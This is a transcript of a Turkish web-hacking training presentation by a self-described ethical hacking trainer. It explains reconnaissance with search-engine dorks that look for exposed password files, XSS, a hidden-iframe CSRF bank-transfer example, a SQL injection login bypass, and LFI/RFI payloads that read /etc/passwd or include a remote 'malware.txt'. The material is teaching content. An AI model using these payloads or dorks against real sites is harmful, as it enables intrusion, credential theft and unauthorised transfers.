Web Hacking Yöntemleri Sunumu

Download Report

Transcript Web Hacking Yöntemleri Sunumu

Web Hacking Yöntemleri
•
•
•
•
•
•
•
•
Bilgi Teknolojileri Güvenlik Danışmanı
White Hat Hacker
Ethical Hacking Eğitmeni
Blog Yazarı (www.eyupcelik.com.tr)
Web Güvenliği Editörü (www.webguvenligi.net)
LabSec Community - Güvenlik Ekip Lideri
Anatolia Security - Proje Takım Lideri
Güvenlik Araştırmacısı (Security Research)
– PacketStormSecurity.org
– Exploit-db.com
– Secunia.com
•
Web Hacking Yöntemleri
•
•
•
•
•
•
•
Bilgi Toplama
• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi
• Hata Mesajlarından Bilgi Toplama
• Arama Motorlarından Bilgi Toplama
• Alt Dizin ve Admin Panel Keşfi
Web Güvenlik Testlerinde Kişisel Proxyler
OWASP Top 10 Açıklık Rehberi
XSS, CSRF Açıkları ve Kötüye Kullanımı
• XSS, CSRF Nedir?
• XSS, CSRF Kullanımı
SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları
• SQL Injection ve Blind SQL Injection Nedir?
• SQL – Blind SQL Kullanımı
• SQL Injection Örnekleri
• Arama Motorlarından Zafiyet Arama
• Havij, Sqlmap, SQL Finder, Pangolin
File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
Web Shell
• Web Shell Kavramları ve Kullanım Amaçları
• PHP, ASP, JSP, ASP.NET Shell Çeşitleri
www.whois.sc
www.intodns.com
Maltego
Sık karşılaşılan hata kodları
• 400 (Söz dizimi çözülemedi)
• 403 (Yasak)
• 404 (Bulunamadı)
• 405 (Yönteme izin verilmiyor)
• 500 (Dahili sunucu hatası)
• 505 (HTTP sürümü desteklenmiyor)
• www.archive.org (Web Arşiv)
• www.google.com
•
•
•
•
•
•
•
•
•
site: eyupcelik.com.tr
Filetype:txt
Password 123123 filetype:xml
Password 123123 filetype:xml site:site.com.tr
intitle:index.of
Intitle:index.of site:gov.tr
intitle:index.of pwd.db passwd site:com
Microsoft-IIS/5.0 server at
Apache/2.2 Server at
• www.bing.com
•
IP: 192.168.1.100
• Kariyer Siteleri
• (Kariyer.net, yenibiris.com. SecretCV)
•
Web Hacking Yöntemleri
•
•
•
•
•
•
•
Bilgi Toplama
• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi
• Hata Mesajlarından Bilgi Toplama
• Arama Motorlarından Bilgi Toplama
• Alt Dizin ve Admin Panel Keşfi
Web Güvenlik Testlerinde Kişisel Proxyler
OWASP Top 10 Açıklık Rehberi
XSS, CSRF Açıkları ve Kötüye Kullanımı
• XSS, CSRF Nedir?
• XSS, CSRF Kullanımı
SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları
• SQL Injection ve Blind SQL Injection Nedir?
• SQL – Blind SQL Kullanımı
• SQL Injection Örnekleri
• Arama Motorlarından Zafiyet Arama
• Havij, Sqlmap, SQL Finder, Pangolin
File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
Web Shell
• Web Shell Kavramları ve Kullanım Amaçları
• PHP, ASP, JSP, ASP.NET Shell Çeşitleri
•
•
•
•
•
Sunucuya gönderilen yazılım betiklerinin (script) kullanıcının tarayıcısında çalıştığı bir
saldırı türüdür.
PHP-ASP-ASP.NET Sayfalarında sıklıkla görülür.
Genellikle POST ve GET metotlarının kullanıldığı alanlarda olur.
Yazılım betiklerinin kullanıcı tarafında çalıştırılması sonucunda oturum bilgileri
çalınabilir, bilgisayarına zararlı kodlar enjekte edilebilir ve bilgisayar yönetimi ele
geçirilebilir.
En çok karşılaşılan güvenlik zafiyetidir!
• XSS
• Reflected XSS Attack
• Stored (Persistent) XSS Attack
•
•
•
•
URL adreslerindeki querystringler ve form alanlarında sıklıkla görülür.
En çok karşılaşılan XSS saldırı türevidir.
Kullanıcı taraflı çalışır.
Phishing saldırılarına zemin oluşturur.
• Forumlar, ziyaretçi defterleri gibi alanlarda sıklıkla görülür.
• XSS kodları database sunucusuna kaydedilir.
• Kullanıcılar sayfaya eriştiklerinde XSS kodları çalışır ve amaca hizmet eder.
•
•
•
•
•
XSS saldırısına benzer
Web uygulamasının oturum zaman aşımlarını kullanmamasından kaynaklanır.
XSS saldırılarının aksine CSRF saldırıları kullanıcı bazlıdır.
Bu saldırı türünde, kullanıcının isteği dışında kullanıcıya işlemler yaptırılır.
Banka hesaplarından para transferi, uygulama yetki yükseltme saldırıları gibi bir
çok işlem bu saldırı yöntemi ile yapılabilmektedir.
• Saldırganın amacı; yetkisi olmayan alanlarda istediği işlemi yetkisi olan bir
kullanıcıya yaptırmaktır.
• Örneğin; ING Direct bankasında bulunan CSRF zafiyeti, kullanıcının belirtilen
hesaba para transfer etmesini sağlamaktaydı.
• Web sitesinde oturum açan bir kullanıcı, eğer aynı zamanda zararlı kodun
bulunduğu sayfaya erişirse, hesabından başka bir hesaba para aktarılıyor
• Kullanıcı uygulamayı açtıktan sonra, zararlı sayfada
http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500
&submit=1 kodu çalıştırılır.
• Bunun için saldırgan yukarıda bulunan kodu sayfasında <img> veya <iframe>
tagları arasına yerleştirir.
• Bu tagler kullanıcının görmemesi için
<img src=“http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1”
width=“0” height=“0”> şeklinde yada
<iframe src=“http://www.banka.com/ParaYollar.php?Gonderen=Eyup&Alici=Ismail&Miktar=500&submit=1”
width=“0” height=“0”> şeklinde olacaktır.
• Bu kodlar kullanıcı tarafında çalışınca, Eyup adlı kullanıcın hesabından Ismail
adlı kullanıcın hesabına 500 TL aktarmış olacaktır.
•
Web Hacking Yöntemleri
•
•
•
•
•
•
•
Bilgi Toplama
• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi
• Hata Mesajlarından Bilgi Toplama
• Arama Motorlarından Bilgi Toplama
• Alt Dizin ve Admin Panel Keşfi
Web Güvenlik Testlerinde Kişisel Proxyler
OWASP Top 10 Açıklık Rehberi
XSS, CSRF Açıkları ve Kötüye Kullanımı
• XSS, CSRF Nedir?
• XSS, CSRF Kullanımı
SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları
• SQL Injection ve Blind SQL Injection Nedir?
• SQL – Blind SQL Kullanımı
• SQL Injection Örnekleri
• Arama Motorlarından Zafiyet Arama
• Havij, Sqlmap, SQL Finder, Pangolin
File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
Web Shell
• Web Shell Kavramları ve Kullanım Amaçları
• PHP, ASP, JSP, ASP.NET Shell Çeşitleri
• Veritabanından sorgulamalar yapılırken, sorgulara bazı karakterlerin (‘)
eklenerek yetkisiz sorgulamalar yapılmasıdır.
• SQL injection yöntemi ile sql sunucusunda bulunan verilere erişilebilir,
değiştirilebilir , silinebilir
• SQL Injection son zamanlarda en tehlikeli saldırı türlerinden biri haline geldi.
• Web uygulamalarında bulunan SQL sorgularının doğru bir şekilde analiz
edilmeden SQL sunucusuna aktarılmasından kaynaklanan bir saldırı türüdü
• SQL’de iki tek tırnak (‘) yan yana gelince arada bulunan kodlar “string” olarak
kabul edilir.
• Örneğin; bir userın form alanına giriş yapacağı zaman girmiş olduğu input
değerler kontrol edilirken sql cümlecikleri kullanılır.
• SELECT * from kullanicilar where isim=‘eyup’ and sifre=‘x9x9’
• Böyle bir durumda, kullanıcılar tablosunda bulunan isim kolonunda “eyup” varsa
ve sifre kolonıundaki şifresi de eğer “x9x9” ise kullanıcı oturum açmış olacaktır.
• Kullanıcının form alanına girmiş olduğu input veriler where koşuluna
atanmaktadır.
• Bu mantıkla çalışan bir sitede sql injection saldırısı yapacaksak eğer, bize
kullanıcı adı ve şifreyi her zaman döndürecek bir koda ihityacımız olacaktır.
• Select * from kullanicilar where isim=‘’ OR ‘’ = ‘’ and sifre= ‘’ OR ‘’ = ‘’
• Kullanıcılar tablosundaki isim kolonu ve sifre kolonu boş olan kullanıcıları
istemiş olduk.
• ODBC (Open Database Connectivity) verikaynakları üzerinde veri taşımaya
yarayan bir araçtır.
• Bu işlemi verikaynağı ve uygulama arasında bir katman oluşturarak
gerçekleştirir.
• Error Based SQL Injection saldırıları, ODBC’nin verdiği hatalardan faydalanarak
verilere erişmeye çalışır.
• Çoğunlukla SQL Union operatöründen faydalanılarak bu hata verilerine erişilir.
• SQL injectionda kullanılan karakterlerin sonuç vermediği durumlarda kullanılan
bir saldırı yöntemidir.
• Bu yöntem alınan hataların True veya False kısmı ile ilgilenir.
• SQL üzerinde yapılan sorgulamaların doğru veya yanlış olduğu sonuçlarını bize
geri döndürür.
• Blind SQL Injection ile yapılan yöntemler deneme-yanılma yöntemi ile yapılır.
•
Web Hacking Yöntemleri
•
•
•
•
•
•
•
Bilgi Toplama
• Web Sunucusu, Uygulama, Yazılım Dili, Versiyon Keşfi
• Hata Mesajlarından Bilgi Toplama
• Arama Motorlarından Bilgi Toplama
• Alt Dizin ve Admin Panel Keşfi
Web Güvenlik Testlerinde Kişisel Proxyler
OWASP Top 10 Açıklık Rehberi
XSS, CSRF Açıkları ve Kötüye Kullanımı
• XSS, CSRF Nedir?
• XSS, CSRF Kullanımı
SQL Injection Zafiyetleri ve Hacking Amaçlı Kullanımları
• SQL Injection ve Blind SQL Injection Nedir?
• SQL – Blind SQL Kullanımı
• SQL Injection Örnekleri
• Arama Motorlarından Zafiyet Arama
• Havij, Sqlmap, SQL Finder, Pangolin
File Inclusion Zafiyetleri ve Hacking Amaçlı Kullanımları
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
Web Shell
• Web Shell Kavramları ve Kullanım Amaçları
• PHP, ASP, JSP, ASP.NET Shell Çeşitleri
•
•
•
•
•
•
•
Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir
Sunucuda bulunan dosyaların çağrılmasına ve okunabilmesine olanak verir
Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir!
index.php?SayfaAc=iletisim.php
index.php?SayfaAc=../../configuration.php
index.php?SayfaAc=../../../../etc/passwd
index.php?SayfaAc=../../../boot.ini
• Web sitesinde bulunan kodlama hatalarından (include, require) meydana gelir
• RFI saldırılarında en büyük etken değişkene değer atanmamasıdır!
• Tanımlanmış ancak değer atanmamış olan değişkene dışardan değer aktarılması
ile oluşur.
• Sadece bulunduğu siteyi değil, sunucuda bulunan tüm siteleri etkileyebilir!
• include($deger”.php”)
• index.php?deger=http://www.site.com/malware.txt